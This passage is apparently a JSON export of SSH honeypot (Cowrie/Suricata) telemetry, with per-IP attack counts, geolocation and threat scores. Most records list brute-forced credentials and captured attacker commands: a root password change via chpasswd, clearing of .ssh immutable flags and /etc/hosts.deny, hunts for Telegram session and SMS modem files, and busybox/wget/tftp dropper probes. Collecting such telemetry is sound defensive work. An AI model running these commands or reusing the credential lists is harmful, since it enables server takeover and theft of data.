      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ali",
        "faisal",
        "ftpuser",
        "kevin",
        "myuser",
        "teamspeak",
        "test",
        "test12",
        "user",
        "userfax",
        "wp-user"
      ],
      "passwords_attempted": [
        "!@#qweQWE",
        "123",
        "123456",
        "123456Yy",
        "12345_ASDF",
        "1qaz2wsx#EDC",
        "3245gs5662d34",
        "345gs5662d34",
        "Ali23",
        "Default2025",
        "Qazwsx001@123",
        "Root12345.",
        "Welcome123",
        "hello",
        "kevin123",
        "leo",
        "myuser123",
        "password",
        "qwe!@#$",
        "qwe123-"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:szaAmigLdZ2V\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Astana",
      "asn": 9198,
      "as_org": "JSC Kazakhtelecom",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 260,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T07:44:40.560000+00:00",
        "last_seen_30d": "2026-04-05T08:51:24.455000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 67
      }
    },
    "35.237.94.18": {
      "attack_count": 172,
      "first_seen": "2026-04-02T08:03:30.555Z",
      "last_seen": "2026-04-02T09:07:56.091Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "hospital",
        "!QA@WS#ED",
        "!QWE2asd3zxc",
        "111222111",
        "159753as",
        "2026@",
        "3245gs5662d34",
        "345gs5662d34",
        "@Wsxzaq1",
        "Aa12345!",
        "Hamburger123",
        "Lj123456.",
        "abcdefg",
        "admin121!",
        "antalya07",
        "dagobert",
        "huawei@2025",
        "informatica",
        "koperek",
        "medion"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Kt0h91VozeV6\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Charleston",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T08:03:30.555000+00:00",
        "last_seen_30d": "2026-04-02T09:09:02.547000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 172,
        "Suricata": 56
      }
    },
    "211.106.133.202": {
      "attack_count": 168,
      "first_seen": "2026-04-28T13:59:24.696Z",
      "last_seen": "2026-04-28T14:45:32.667Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftproot",
        "root2",
        "tomcat"
      ],
      "passwords_attempted": [
        "123",
        "123QWEasd123",
        "1QAZ.2WSX",
        "1qazxsw@cde#",
        "321oracle123",
        "3245gs5662d34",
        "345gs5662d34",
        "Ch1r1m0y4",
        "Rhosts:authentication:refused:for:%.100s::bad:ownership:or:modes:for:home:directory.",
        "Support@123",
        "Xh2024!@",
        "admin_2026",
        "administrator:",
        "apoulain@123",
        "jassonsoft-mas08",
        "mandragora",
        "nethub",
        "qaz1111",
        "qaz2026",
        "root123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:BG2HJfv1kCzT\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Songpa-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T13:59:24.696000+00:00",
        "last_seen_30d": "2026-04-28T14:46:42.466000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 52
      }
    },
    "125.141.84.135": {
      "attack_count": 124,
      "first_seen": "2026-04-06T11:58:16.693Z",
      "last_seen": "2026-04-29T12:17:12.448Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "ubnt",
        "user",
        "usr",
        "root"
      ],
      "passwords_attempted": [
        "",
        "123456",
        "password",
        "1234",
        "admin",
        "admin1234",
        "root",
        "ubnt",
        "123",
        "12345",
        "9999",
        "Admin",
        "Admin123",
        "admin123!@#",
        "admin123456",
        "adminpldt",
        "cisco12345",
        "dlxuser",
        "ec2-user",
        "ruijie"
      ],
      "commands_executed": [
        "shell",
        "cat /bin/echo||while read i; do echo $i; done < /proc/self/exe;",
        "enable",
        "sh",
        "while read i"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwanak-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 54.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.0,
        "persistence": 20.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 157,
        "days_active_30d": 24,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T11:58:16.693000+00:00",
        "last_seen_30d": "2026-04-29T12:21:40.672000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 33
      }
    },
    "129.159.149.21": {
      "attack_count": 105,
      "first_seen": "2026-04-12T22:40:58.357Z",
      "last_seen": "2026-04-26T15:03:35.858Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root",
        "12345",
        "guest"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Jerusalem",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 39.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.7,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 117,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T22:40:58.357000+00:00",
        "last_seen_30d": "2026-04-26T15:04:38.011000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 105,
        "Suricata": 12
      }
    },
    "20.187.184.86": {
      "attack_count": 101,
      "first_seen": "2026-04-27T03:11:57.453Z",
      "last_seen": "2026-04-27T06:21:04.991Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "oroot"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0racle123",
        "1qa2ws",
        "Electronic@123",
        "RootUser@2024",
        "abc_123456",
        "action863467",
        "cnview.com.c1",
        "dabU",
        "oroot",
        "p@ssw0rdp@ssw0rd",
        "qwe55555",
        "test3333",
        "test999999"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 143,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T03:11:57.453000+00:00",
        "last_seen_30d": "2026-04-27T06:22:10.839000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 101,
        "Suricata": 42
      }
    },
    "47.237.163.130": {
      "attack_count": 83,
      "first_seen": "2026-04-23T10:12:38.814Z",
      "last_seen": "2026-04-23T10:18:29.006Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "apache",
        "developer",
        "flink",
        "gitlab",
        "gpadmin",
        "hive",
        "mongo",
        "mysql",
        "nginx",
        "oracle",
        "tom",
        "user",
        "user1"
      ],
      "passwords_attempted": [
        "123456",
        " ",
        "!QAZ@WSX",
        "111111",
        "Ab123456",
        "apache123",
        "flink",
        "gitlab",
        "gpadmin123",
        "hive",
        "nginx123",
        "p@ssword"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 117,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T10:12:38.814000+00:00",
        "last_seen_30d": "2026-04-23T10:19:34.250000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 83,
        "Suricata": 34
      }
    },
    "115.190.159.160": {
      "attack_count": 82,
      "first_seen": "2026-04-23T00:49:19.325Z",
      "last_seen": "2026-04-23T01:44:36.577Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "online",
        "sammy",
        "sftptest",
        "testuser",
        "user2"
      ],
      "passwords_attempted": [
        "1020264050",
        "123456789**",
        "@Admin123",
        "A1234567899876543210A",
        "P@$$w0rd",
        "Root1111111#$",
        "Sammy1@",
        "ZAQ!2wsx2019#$",
        "ZAQ!2wsx2023!!",
        "bbDD123123",
        "fuckoff",
        "online",
        "sftptest1",
        "testuser123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 125,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T00:49:19.325000+00:00",
        "last_seen_30d": "2026-04-23T01:48:37.315000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 82,
        "Suricata": 43
      }
    },
    "178.128.28.155": {
      "attack_count": 78,
      "first_seen": "2026-04-30T10:50:06.367Z",
      "last_seen": "2026-04-30T10:54:29.247Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 33.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T10:50:06.367000+00:00",
        "last_seen_30d": "2026-04-30T10:55:31.378000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 78,
        "Suricata": 40
      }
    },
    "218.145.181.48": {
      "attack_count": 73,
      "first_seen": "2026-04-19T12:13:30.016Z",
      "last_seen": "2026-04-26T01:42:46.035Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "guest",
        "root",
        "123456"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangnam-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 32.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.1,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T12:13:30.016000+00:00",
        "last_seen_30d": "2026-04-26T01:43:50.173000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 8
      }
    },
    "200.71.154.142": {
      "attack_count": 72,
      "first_seen": "2026-04-17T08:55:46.208Z",
      "last_seen": "2026-04-17T08:57:14.421Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 6306,
      "as_org": "TELEFONICA VENEZOLANA, C.A.",
      "threat_score": 18.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T08:55:46.208000+00:00",
        "last_seen_30d": "2026-04-17T08:58:17.825000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 6
      }
    },
    "35.195.135.3": {
      "attack_count": 68,
      "first_seen": "2026-04-30T05:15:24.189Z",
      "last_seen": "2026-04-30T05:15:57.690Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 638",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T05:15:24.189000+00:00",
        "last_seen_30d": "2026-04-30T05:17:07.325000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 41
      }
    },
    "210.212.28.141": {
      "attack_count": 50,
      "first_seen": "2026-04-19T17:50:07.008Z",
      "last_seen": "2026-04-19T17:55:31.648Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Rourkela",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T17:50:07.008000+00:00",
        "last_seen_30d": "2026-04-19T17:56:36.793000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "5.42.82.75": {
      "attack_count": 50,
      "first_seen": "2026-04-28T23:00:32.918Z",
      "last_seen": "2026-04-28T23:05:57.158Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 39493,
      "as_org": "CJSC Kolomna-Sviaz TV",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T23:00:32.918000+00:00",
        "last_seen_30d": "2026-04-28T23:07:06.792000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "27.79.47.16": {
      "attack_count": 37,
      "first_seen": "2026-04-24T19:28:51.292Z",
      "last_seen": "2026-04-24T19:32:01.362Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftp",
        "support",
        "system",
        "user"
      ],
      "passwords_attempted": [
        "OkwKcECs8qJP2Z",
        "abcd1234",
        "ftp",
        "ipscan",
        "root",
        "support",
        "user"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T19:28:51.292000+00:00",
        "last_seen_30d": "2026-04-24T19:33:59.271000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 16
      }
    },
    "110.37.59.132": {
      "attack_count": 30,
      "first_seen": "2026-04-30T08:50:24.321Z",
      "last_seen": "2026-04-30T08:53:38.838Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T08:50:24.321000+00:00",
        "last_seen_30d": "2026-04-30T08:54:43.236000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "172.94.9.60": {
      "attack_count": 28,
      "first_seen": "2026-04-10T11:55:47.671Z",
      "last_seen": "2026-04-15T17:43:53.358Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "Admin123",
        "Admin2026",
        "Admin@1234",
        "Admin@2025",
        "W3lcome123"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T11:55:47.671000+00:00",
        "last_seen_30d": "2026-04-15T17:44:57.297000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "202.79.26.25": {
      "attack_count": 21,
      "first_seen": "2026-04-16T07:28:51.026Z",
      "last_seen": "2026-04-16T07:28:53.789Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "ttnet"
      ],
      "commands_executed": [
        "q",
        "shell",
        "system",
        "/bin/busybox ZLIHJ",
        "cat /proc/mounts; /bin/busybox ZLIHJ",
        "cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZLIHJ",
        "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s",
        "enable",
        "rm .s; exit",
        "sh",
        "tftp; wget; /bin/busybox ZLIHJ",
        "while read i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Cambodia",
      "country_code": "KH",
      "city": "Phnom Penh",
      "asn": 24492,
      "as_org": "WiCAM Corporation Ltd.",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T07:28:51.026000+00:00",
        "last_seen_30d": "2026-04-16T07:29:59.936000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 2
      }
